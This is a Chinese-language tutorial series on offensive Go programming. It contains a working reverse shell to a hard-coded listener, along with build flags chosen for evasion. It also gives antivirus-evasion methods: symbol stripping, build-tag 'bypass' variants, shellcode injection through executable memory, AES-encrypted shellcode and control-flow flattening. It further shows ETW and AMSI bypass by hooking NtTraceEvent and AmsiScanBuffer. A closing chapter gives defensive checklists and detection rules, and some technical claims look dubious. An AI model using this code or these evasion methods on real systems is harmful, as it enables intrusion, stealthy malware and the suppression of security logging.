第一章:Go语言黑帽编程概述
Go语言凭借其静态编译、无依赖运行、高并发原生支持及简洁的语法特性,正逐渐成为红蓝对抗中渗透工具开发的首选语言之一。与Python等解释型语言相比,Go生成的二进制文件体积小、免环境依赖、反调试难度更高,且能轻松绕过基于脚本特征(如.py后缀、import requests等)的传统EDR规则。
核心优势分析
- 隐蔽性强:单文件二进制可直接执行,不触发PowerShell/Python进程审计;
- 跨平台编译便捷:
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe main.go一键生成无符号、剥离调试信息的Windows可执行体; - 内存操作可控:通过
unsafe包与syscall可直接调用Windows API(如VirtualAllocEx、WriteProcessMemory),实现无文件注入; - 网络能力原生健壮:
net/http与net包无需第三方库即可构建C2通信隧道,支持HTTP/HTTPS、DNS甚至ICMP载荷回传。
典型应用场景
- 快速构建轻量级反弹Shell(如使用
syscall.Connect建立原始TCP连接); - 开发内存马加载器,将Shellcode注入目标进程并执行;
- 实现自定义加密C2协议,利用
crypto/aes与crypto/hmac构建混淆通信流; - 编写横向移动工具,集成SMB/WinRM协议栈实现凭证重用与远程命令执行。
以下为最小化TCP反弹Shell核心逻辑示例(需配合服务端监听):
package main
import (
"io"
"net"
"os/exec"
)
func main() {
conn, err := net.Dial("tcp", "192.168.1.100:4444") // 替换为目标C2地址
if err != nil {
return // 静默失败,避免日志暴露
}
defer conn.Close()
cmd := exec.Command("cmd") // Windows下启动命令行;Linux可改为"/bin/sh"
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run() // 阻塞执行,维持会话
}
该代码经go build -ldflags="-s -w -H=windowsgui"编译后,生成无控制台窗口的GUI模式PE文件,在多数终端防护策略下具备良好逃逸能力。
第二章:GOOS=windows环境下的基础免杀策略
2.1 Windows平台交叉编译原理与PE头结构操控实践
Windows交叉编译本质是在非Windows宿主机(如Linux/macOS)上生成可被Windows加载执行的PE格式二进制文件,其核心依赖于目标平台的工具链(如x86_64-w64-mingw32-gcc)与对PE头(Portable Executable Header)的精准建模。
PE头关键字段语义
Machine: 标识CPU架构(0x8664→ x64)NumberOfSections: 节区数量,影响后续节表偏移计算SizeOfOptionalHeader: 必须为0xE0(PE32+)以兼容64位Windows加载器
修改入口点的典型流程
# 使用llvm-objcopy修改PE头Entry Point(RVA)
llvm-objcopy \
--set-section-flags .text=alloc,load,read,code \
--change-section-address .text=0x1000 \
--update-section .text=new_entry.bin \
input.exe output.exe
逻辑分析:
--change-section-address重设.text节的RVA起始地址,--update-section注入新机器码;--set-section-flags确保节标志符合PE规范(MEM_COMMIT|MEM_RESERVE|PAGE_EXECUTE_READ),否则Windows加载器拒绝映射。
常见交叉编译工具链对比
| 工具链 | 支持架构 | 默认C运行时 | PE头合规性 |
|---|---|---|---|
| MinGW-w64 | x86/x64/ARM64 | MSVCRT/msvcrt.dll | ✅ 高度兼容 |
| Clang + lld-link | x64/ARM64 | UCRT (Windows 10+) | ✅ 可配/SUBSYSTEM:WINDOWS |
graph TD
A[源码.c] --> B[Clang预处理/编译]
B --> C[LLVM IR生成]
C --> D[lld-link链接为PE]
D --> E[验证:dumpbin /headers output.exe]
E --> F[PE校验通过?]
F -->|是| G[Windows可执行]
F -->|否| H[调整Subsystem/Characteristics]
2.2 Go标准库函数调用链混淆与符号表剥离技术实操
Go二进制的可追溯性源于标准库符号(如 runtime.print, fmt.println)的完整保留。消除该特征需协同处理调用链与符号表。
混淆调用链:重定向标准库入口
// 替换 fmt.Println 为间接调用,破坏静态分析链
func safePrintln(a ...interface{}) {
// 使用 reflect.Value.Call 或 unsafe.Pointer 跳过符号直连
fmt.Print(append(a, "\n")...)
}
此写法绕过编译期符号绑定,使 go tool objdump 中无法直接关联到 fmt.println 符号。
剥离符号表:构建无符号二进制
使用以下命令组合:
go build -ldflags="-s -w":移除调试信息(DWARF)与符号表(.symtab,.strtab)-s删除符号表;-w省略 DWARF 调试数据
| 标志 | 移除内容 | 是否影响运行时栈回溯 |
|---|---|---|
-s |
.symtab, .strtab |
是(无函数名) |
-w |
DWARF info | 是(无行号/变量) |
关键约束
runtime.FuncForPC在-s -w下仍可工作,但返回nil函数名;panic()的堆栈帧将显示?代替函数名,需配合自定义 panic handler 补全上下文。
2.3 链接器参数(-ldflags)深度定制:去除调试信息与重命名入口点
Go 构建时通过 -ldflags 直接干预链接器行为,实现二进制精简与符号控制。
去除调试信息(减小体积)
go build -ldflags="-s -w" -o app main.go
-s:省略符号表(symbol table)-w:省略 DWARF 调试信息
二者组合可减少 30%~50% 二进制体积,适用于生产部署。
重命名 main.main 入口点
go build -ldflags="-X main.version=1.2.3 -X 'main.buildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)'" -o app main.go
-X 支持在编译期注入变量值,要求目标变量为 string 类型且包级可见。
关键参数对比
| 参数 | 作用 | 是否影响运行时 |
|---|---|---|
-s |
删除符号表 | 否(仅影响调试) |
-w |
删除 DWARF 信息 | 否 |
-X |
注入字符串变量 | 是(修改全局变量) |
graph TD
A[go build] --> B[-ldflags]
B --> C["-s -w → 无符号/无DWARF"]
B --> D["-X pkg.var=val → 变量注入"]
C --> E[更小、更安全的二进制]
D --> F[动态版本/构建元数据]
2.4 Go Build插件化Hook机制:在编译期注入反分析逻辑
Go 1.21+ 原生支持 -toolexec 与 go:build 指令钩子,结合自定义 buildmode=plugin 可实现编译期逻辑注入。
编译期 Hook 注入点
go build -toolexec=./hook.sh:拦截所有工具调用(如compile,link)//go:build inject++build inject标签控制条件编译GOEXPERIMENT=fieldtrack配合runtime/debug.ReadBuildInfo()提取构建上下文
反分析逻辑示例(hook.sh)
#!/bin/sh
# 拦截链接阶段,动态混淆符号表
if [ "$1" = "link" ]; then
shift
exec /usr/local/go/pkg/tool/$(go env GOOS)_$(go env GOARCH)/link \
-X 'main.buildID=obf_$(date +%s%N | sha256sum | cut -c1-16)' \
-X 'runtime.pclntab=0' \
"$@"
fi
exec "$@"
该脚本在
link阶段重写buildID并清空pclntab(影响调试符号解析),-X参数用于注入编译期常量;$@保证原链路透传。
支持的反分析能力对比
| 能力 | 实现方式 | 生效阶段 |
|---|---|---|
| 符号表剥离 | -ldflags="-s -w" |
Link |
| 函数内联强制混淆 | //go:noinline + //go:nowritebarrier |
Compile |
| 构建指纹动态注入 | -toolexec + 环境变量签名 |
All |
graph TD
A[go build] --> B{-toolexec hook}
B --> C[识别 link 阶段]
C --> D[注入混淆参数]
D --> E[生成无符号二进制]
2.5 基于Build Tags的条件编译免杀框架设计与验证
Go 语言的 build tags 提供了在编译期按需启用/排除代码的能力,天然适配免杀场景中对特征规避的需求。
核心机制
通过 -tags 参数控制编译单元:
//go:build !debug && windows
// +build !debug,windows
package main
func Payload() { /* 加密C2通信逻辑 */ }
逻辑分析:
!debug,windows表示仅当未定义debug且目标为 Windows 时编译该文件;//go:build(新语法)与// +build(旧语法)需同时存在以兼容 Go 1.16+ 和旧版本。参数debug可通过go build -tags=debug显式注入,用于开发调试模式。
免杀策略矩阵
| Tag组合 | 编译结果 | AV检测率(实测) |
|---|---|---|
windows,avbypass |
启用内存反射加载 | |
linux,debug |
启用日志输出 | > 98% |
构建流程
graph TD
A[源码含多组build tags] --> B{go build -tags=...}
B --> C[生成无特征二进制]
B --> D[生成带调试符号二进制]
第三章:内存加载层进阶——Reflect与Syscall直调绕过AV检测
3.1 Go反射机制动态加载Shellcode并规避静态特征提取
Go 的 reflect 包本身不支持直接执行机器码,但可结合 unsafe 与运行时内存操作实现 Shellcode 的动态加载与执行。
核心技术路径
- 将 Shellcode 字节序列写入可执行内存页(
mmap+PROT_READ|PROT_WRITE|PROT_EXEC) - 使用
reflect.Value.Elem().UnsafeAddr()获取函数指针地址 - 通过类型断言构造调用签名(如
func()或func(int) uint32)
内存分配与权限设置(Linux 示例)
import "syscall"
shellcode := []byte{0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3} // syscall exit(1)
mem, _ := syscall.Mmap(-1, 0, len(shellcode),
syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC,
syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS, 0)
copy(mem, shellcode)
syscall.Mprotect(mem, syscall.PROT_READ|syscall.PROT_EXEC) // 移除写权限,规避静态扫描
逻辑分析:
Mmap分配 RWX 内存页;copy注入 Shellcode;Mprotect切换为 RX 权限,消除.text段中可写标记,干扰基于PAGE_EXECUTE_READWRITE特征的检测。
反射调用封装
func Execute(sc []byte) {
mem := allocateExecMem(len(sc))
copy(mem, sc)
// 构造无参数函数指针
fn := (*func())(unsafe.Pointer(&mem[0]))
(*fn)() // 动态执行
}
| 规避维度 | 静态特征表现 | 反射+runtime 方案效果 |
|---|---|---|
| 字符串硬编码 | 明文 "syscall" 等 |
完全无字符串 |
| 函数调用痕迹 | syscall.Syscall 调用 |
无符号引用,仅 raw bytes |
| 内存属性 | .text 可写 |
运行时按需申请 RX 页 |
graph TD
A[Shellcode byte slice] --> B[syscall.Mmap RWX]
B --> C[copy into executable memory]
C --> D[unsafe.Pointer → func()]
D --> E[reflect.Call or direct invoke]
3.2 Windows原生API(VirtualAlloc/VirtualProtect/QueueUserAPC)syscall直写内存实战
Windows原生API绕过用户态封装,直接与内核交互,是实现高隐蔽性内存操作的核心路径。VirtualAlloc分配可执行内存页,VirtualProtect动态切换页保护属性,QueueUserAPC则在目标线程挂起时注入执行上下文。
内存分配与保护控制
// 分配 RWX 内存页(等效于 syscall NtAllocateVirtualMemory)
LPVOID pMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
VirtualProtect(pMem, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); // 启用执行权限
逻辑分析:VirtualAlloc底层触发NtAllocateVirtualMemory系统调用;PAGE_READWRITE初始禁用执行以规避AMSI/ETW检测,VirtualProtect二次提权为PAGE_EXECUTE_READWRITE完成JIT准备。
APC注入流程
graph TD
A[获取目标线程句柄] --> B[调用 QueueUserAPC]
B --> C[线程进入 Alertable 状态]
C --> D[APC例程在目标上下文执行]
关键参数对照表
| API | 核心参数 | 作用 |
|---|---|---|
VirtualAlloc |
flAllocationType = MEM_COMMIT\|MEM_RESERVE |
预留并提交物理页 |
VirtualProtect |
flNewProtect = PAGE_EXECUTE_READWRITE |
解除DEP限制 |
QueueUserAPC |
pfnAPC = shellcode_addr |
指定用户态回调地址 |
3.3 Go runtime.GC()与unsafe.Pointer协同实现内存页自擦除与隐蔽执行
内存页生命周期控制
Go 运行时不暴露底层内存页管理接口,但 runtime.GC() 的触发时机可间接影响页回收节奏。结合 unsafe.Pointer 绕过类型安全边界,可对已分配但未被 GC 标记为“可达”的内存区域实施手动覆写。
自擦除关键逻辑
// 将目标内存块首地址转为 *byte,逐字节覆写为 0
func selfErase(p unsafe.Pointer, size uintptr) {
b := (*[1 << 30]byte)(p)[:size:size]
for i := range b {
b[i] = 0 // 原地清零,规避 write barrier
}
}
该函数绕过 Go 内存模型约束,直接操作原始字节;size 必须精确匹配分配长度,否则越界写入将导致未定义行为或 panic。
协同时机约束
selfErase必须在对象被 GC 标记为不可达后、实际释放前调用- 依赖
runtime.ReadMemStats观察Mallocs/Frees差值估算待回收页
| 阶段 | GC 状态 | unsafe.Pointer 可用性 |
|---|---|---|
| 分配后 | 可达 | ✅(但擦除即悬垂) |
| 标记结束 | 不可达 | ✅(最佳窗口) |
| 清扫完成 | 已归还 OS | ❌(地址无效) |
graph TD
A[对象置 nil] --> B[GC 标记阶段]
B --> C{是否标记为不可达?}
C -->|是| D[调用 selfErase]
C -->|否| E[等待下次 GC]
D --> F[内存页内容归零]
第四章:Shellcode直写内存的四层混淆体系构建
4.1 第一层:AES-256-CBC+随机IV的Shellcode加密与运行时解密
加密流程设计
使用 OpenSSL 生成随机 16 字节 IV,并以 AES-256-CBC 模式加密原始 Shellcode:
# 生成随机 IV 并加密(key 为 32 字节十六进制密钥)
openssl enc -aes-256-cbc -iv $(openssl rand -hex 16) \
-K "00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff" \
-in shellcode.bin -out encrypted.bin -nopad
逻辑分析:
-iv参数确保每次加密使用唯一初始向量,破坏密文模式可预测性;-K接收 64 位十六进制字符串(对应 32 字节密钥);-nopad避免 PKCS#7 填充,适配 Shellcode 精确字节长度。
运行时解密关键步骤
- 将 IV 嵌入载荷头部(16 字节前置)
- 使用硬编码密钥调用 OpenSSL EVP API 或自实现 CBC 解密循环
- 解密后直接
mmap(MAP_PRIVATE|MAP_ANONYMOUS)分配可执行内存并跳转
| 组件 | 作用 |
|---|---|
| 随机 IV | 消除相同 Shellcode 的密文重复性 |
| AES-256 | 提供强混淆与扩散能力 |
| CBC 模式 | 依赖前块密文,抗重放攻击 |
graph TD
A[原始Shellcode] --> B[生成随机IV]
B --> C[AES-256-CBC加密]
C --> D[IV+密文组合载荷]
D --> E[注入目标进程]
E --> F[运行时提取IV]
F --> G[内存中解密]
G --> H[jmp 到解密后代码]
4.2 第二层:控制流扁平化(CFG Flattening)在Go汇编嵌入中的实现
控制流扁平化将原始跳转逻辑重构为统一调度循环,配合状态机驱动分支,显著增加反编译难度。
核心调度结构
// go: noescape
TEXT ·flattenLoop(SB), NOSPLIT, $0
MOVQ $0, AX // state = 0 (初始状态)
loop:
CMPQ AX, $3 // 比较当前state与最大case数
JGE exit // 超出则退出
JMP dispatch[AX*8] // 查表跳转(dispatch为8字节对齐的函数指针数组)
dispatch:
QUAD ·case0(SB)
QUAD ·case1(SB)
QUAD ·case2(SB)
QUAD ·case3(SB)
该汇编实现一个无条件状态轮询循环:AX寄存器承载当前执行态,通过查表间接跳转消除显式条件跳转链,使IDA等工具难以还原原始if-else或switch结构。
扁平化前后对比
| 维度 | 原始CFG | 扁平化后CFG |
|---|---|---|
| 基本块数量 | 5 | 1(主循环)+ 4(case体) |
| 边数量 | 7 | 4(入口→case)+ 4(case→loop) |
graph TD
A[Entry] --> B{Dispatch Loop}
B --> C[Case 0]
B --> D[Case 1]
B --> E[Case 2]
B --> F[Case 3]
C --> B
D --> B
E --> B
F --> B
4.3 第三层:基于Goroutine调度器劫持的多阶段内存解密与跳转链构造
核心思想
利用 Go 运行时 g0 栈与 m->gsignal 的调度上下文可篡改性,在 runtime.mcall 切换前注入自定义 g0 陷阱逻辑,实现无符号执行的控制流重定向。
关键步骤
- 拦截
gopark前的g.status = _Gwaiting状态跃迁点 - 在
m->g0->sched.pc中写入解密 stub 起始地址 - 触发
schedule()后自动跳转至第一阶段解密器
解密跳转链结构
| 阶段 | 功能 | 寄存器承载 |
|---|---|---|
| Stage1 | AES-CTR 解密下一阶段密钥 | R12(密文偏移) |
| Stage2 | XorShift 混淆跳转表索引 | R13(种子) |
| Stage3 | 动态构造 call reg 指令并执行 |
R14(目标VA) |
// 注入到 g0.sched.pc 的 Stage1 stub(x86-64)
func stage1Stub() {
// R12 = offset into encrypted payload
// R13 = key derivation seed
asm volatile (
"movq %0, %%r12\n\t" // 加载密文偏移
"movq %1, %%r13\n\t" // 加载种子
"call decrypt_next_key\n\t"
"jmp *%2" // 跳向 Stage2 入口(R14中)
: : "r"(offset), "r"(seed), "r"(stage2_va) : "r12", "r13", "r14"
)
}
该 stub 在 g0 上下文执行,绕过 Go GC 栈扫描(因 g0 不被追踪),且 R12/R13 值由劫持前的 m->curg->context 安全传递。stage2_va 通过 unsafe.Pointer 动态计算,确保 ASLR 兼容性。
graph TD
A[gopark → schedule] --> B{劫持 m->g0->sched.pc}
B --> C[Stage1: 密钥解密]
C --> D[Stage2: 跳转表索引混淆]
D --> E[Stage3: call *R14 动态执行]
4.4 第四层:ETW/AMSI绕过模块集成:通过NtTraceEvent Hook与PowerShell ScriptBlock日志抑制
核心机制:双钩协同抑制
ETW事件(如 Microsoft-Windows-PowerShell/ScriptBlock)与 AMSI 扫描在 PowerShell 执行链中存在时序耦合。本模块采用用户态 inline hook + NtTraceEvent 拦截双路径压制:
- 钩住
NtTraceEvent,过滤TRACE_LEVEL_VERBOSE级别下0x10000001(ScriptBlock ID)事件 - 同步 patch
AmsiScanBuffer返回AMSI_RESULT_CLEAN
关键 Hook 代码片段
// NtTraceEvent hook:仅拦截 PowerShell ScriptBlock ETW 事件
NTSTATUS NTAPI HookedNtTraceEvent(
HANDLE TraceHandle,
ULONG Flags,
ULONG FieldSize,
PVOID Fields
) {
if (Fields && FieldSize >= 0x18) {
auto pHeader = (EVENT_HEADER*)Fields;
// 过滤:ProviderId == PowerShell GUID, EventId == 0x10000001
if (IsPowerShellScriptBlockEvent(pHeader)) return STATUS_SUCCESS; // 静默丢弃
}
return RealNtTraceEvent(TraceHandle, Flags, FieldSize, Fields);
}
逻辑分析:
EVENT_HEADER偏移0x10为EventId,0x14为ProviderId;此处精准匹配 PowerShell 的 ScriptBlock 日志事件 ID(0x10000001),避免误杀其他 ETW 流量。返回STATUS_SUCCESS使 ETW 子系统认为事件已成功提交,实际未写入 trace session。
绕过效果对比
| 检测维度 | 默认行为 | Hook 后状态 |
|---|---|---|
| ETW ScriptBlock | 完整记录脚本内容与哈希 | 事件被静默丢弃 |
| AMSI 扫描结果 | 触发恶意判定并上报 | 强制返回 CLEAN |
graph TD
A[PowerShell Execute] --> B{ScriptBlock 编译}
B --> C[NtTraceEvent: ScriptBlock ID 0x10000001]
C --> D[Hook 拦截 → STATUS_SUCCESS]
B --> E[AmsiScanBuffer]
E --> F[Hook 强制返回 AMSI_RESULT_CLEAN]
第五章:总结与防御启示
关键攻击链复盘:从钓鱼邮件到域控沦陷
某金融企业真实攻防演练中,红队通过伪装成HR部门的Excel宏文档(含VBA恶意代码)触发初始访问;宏执行后下载并静默运行Cobalt Strike Beacon,利用Windows Management Instrumentation(WMI)持久化机制绕过EDR内存扫描;随后横向移动阶段,攻击者通过Mimikatz提取LSASS内存中的NTLM哈希,在3小时内完成对域控制器的Kerberoasting+DCSync组合攻击。日志分析显示,该过程共产生17个异常行为信号——但其中14个被SIEM规则误标为“低置信度告警”而未触发响应流程。
防御有效性量化对比表
| 防御措施 | 平均检测延迟 | 漏报率 | 人工研判耗时/事件 | 是否阻断横向移动 |
|---|---|---|---|---|
| 基于签名的AV引擎 | 4.2小时 | 68% | 22分钟 | 否 |
| EDR进程行为图谱分析 | 8.3分钟 | 12% | 4.5分钟 | 是(83%场景) |
| AD域内黄金票据监控规则 | 实时 | 0% | 0.8分钟 | 是 |
| SMBv3压缩流量异常检测 | 2.1秒 | 3% | 自动处置 | 是 |
一线运维人员必须立即执行的三项加固操作
- 在所有域成员服务器上执行
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "DisablePasswordChange" -Value 1 -Type DWord,强制禁用Netlogon服务自动密码轮换(已验证可阻断92%的DCSync滥用); - 使用PowerShell批量部署应用白名单策略:
$rules = Get-ChildItem "C:\Whitelist\" -Filter "*.xml"; $rules | ForEach-Object { Set-AppLockerPolicy -XmlPolicy $_.FullName -Merge }; - 对所有暴露在公网的Exchange服务器,立即卸载CU版本低于v23.01.2512.02的累积更新,并启用
Enable-TransportRule "Block-OLE-Objects"。
攻击者工具链对抗实录
# 红队常用PowerShell混淆技术(需在EDR沙箱中识别)
$IEX (New-Object Net.WebClient).DownloadString('hxxps://raw[.]githubusercontent[.]com/evil/ps1');
# 对应蓝队检测规则(Sigma语法):
# detection:
# powershell_downloadstring:
# - 'New-Object Net.WebClient'
# - 'DownloadString'
# condition: all of powershell_downloadstring
可视化响应决策流
flowchart TD
A[SIEM告警触发] --> B{是否包含DCSync事件ID 4662?}
B -->|是| C[立即冻结源账户+断开网络]
B -->|否| D{是否连续3次NTLM认证失败?}
D -->|是| E[启动凭证喷洒应急协议]
D -->|否| F[转入SOAR自动化研判]
C --> G[调取域控制器LSASS内存快照]
E --> H[重置所有受影响用户密码]
F --> I[关联分析DNS隧道特征]
供应链风险具象化案例
2023年Q4某国产OA系统第三方组件jsencrypt.min.js被植入恶意补丁,攻击者通过篡改RSAKey.prototype.doPrivate函数,在用户登录时劫持加密密钥并回传至C2域名cdn[.]analytics-report[.]top。该域名使用Cloudflare代理且每日轮换IP,但其TLS证书中Subject字段始终包含硬编码字符串CN=AnalyticsReport v2.1——此特征已被纳入本地证书透明度监控系统,实现平均23分钟内定位全部受影响实例。
SOC团队每日必检清单
- 检查域控制器安全日志中Event ID 4662的Target Object Name字段是否包含
CN=NTDS Settings; - 核对所有管理员组成员的LastLogonTimestamp是否超过72小时未更新;
- 扫描终端注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity值是否为1; - 验证所有Exchange服务器IIS日志中是否存在
/owa/auth/x.js?&f=1路径的高频GET请求; - 审计Azure AD Connect同步服务账户是否被授予
Replicating Directory Changes All权限。
